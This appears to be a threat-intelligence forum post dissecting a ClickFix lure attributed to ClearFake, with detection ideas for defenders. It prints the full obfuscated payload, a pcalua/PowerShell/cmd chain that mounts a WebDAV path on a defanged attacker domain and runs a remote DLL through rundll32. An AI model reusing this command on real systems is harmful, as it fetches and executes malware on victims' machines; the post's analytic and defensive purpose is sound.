New (to me) ClickFix Pattern, Turns Out it's ClearFake

Threat Intel
, , ,
1

Last Updated: 2026-07-14T14:19:00Z

What’s Happening

I’ve encountered a new (to me) ClickFix pattern utilizing some very old LOLBAS tricks. I’ve seen these before, but never quite in this combination.

Here’s a sample payload:

pcalua.exe -a "powershell.exe" -c "saps cmd '/v/c set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\prkheekt.site-shartbandi-farsi[.]com@SSL\039a0a6a-6374-4952-9081-d891daefec4d & !c!!d! gc.key,#1' -WI MIn"

There’s a lot going on here.

First, the payload uses pcalua.exe as a LOLBin. It takes a command to execute with the -a arg and command line args for that command with -c. saps is an alias for PowerShell’s Start-Process cmdlet. With that, cmd.exe is kicked off with delayed variable expansion (/v) enabled.

The obfuscation hides even more old-school techniques.

pushd \\prkheekt.site-shartbandi-farsi[.]com@SSL\039a0a6a-6374-4952-9081-d891daefec4d
& rundll32 gc.key,#1

pushd, what a throwback! This changes the working directory to the next argument. In this case, a WebDAV UNC path. The @SSL indicates the traffic is over 443, making it really hard to detect on the wire. And then of course rundll32.exe Executes gc.key, which is a DLL despite the name.

Per Randy, this is a ClearFake payload.

And here are others:

Indicators of Compromise

This is a discussion of techniques rather than atomic IOCs. While the domain above is real and evil, not really the point. Useful detections include:

  • pcalua.exe -a, which many tools are already blocking
  • cmd.exe with /v
  • UNC paths with @SSL in command lines
  • rundll32.exe with a network-mounted working directory
  • WebClient service starting on anything that shouldn’t be running WebDAV, which is most things in 2026

The sandbox report for the second stage is here:

More on ClearFake here:

5 Likes
2

This from Microsoft today shows the same pattern:

https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/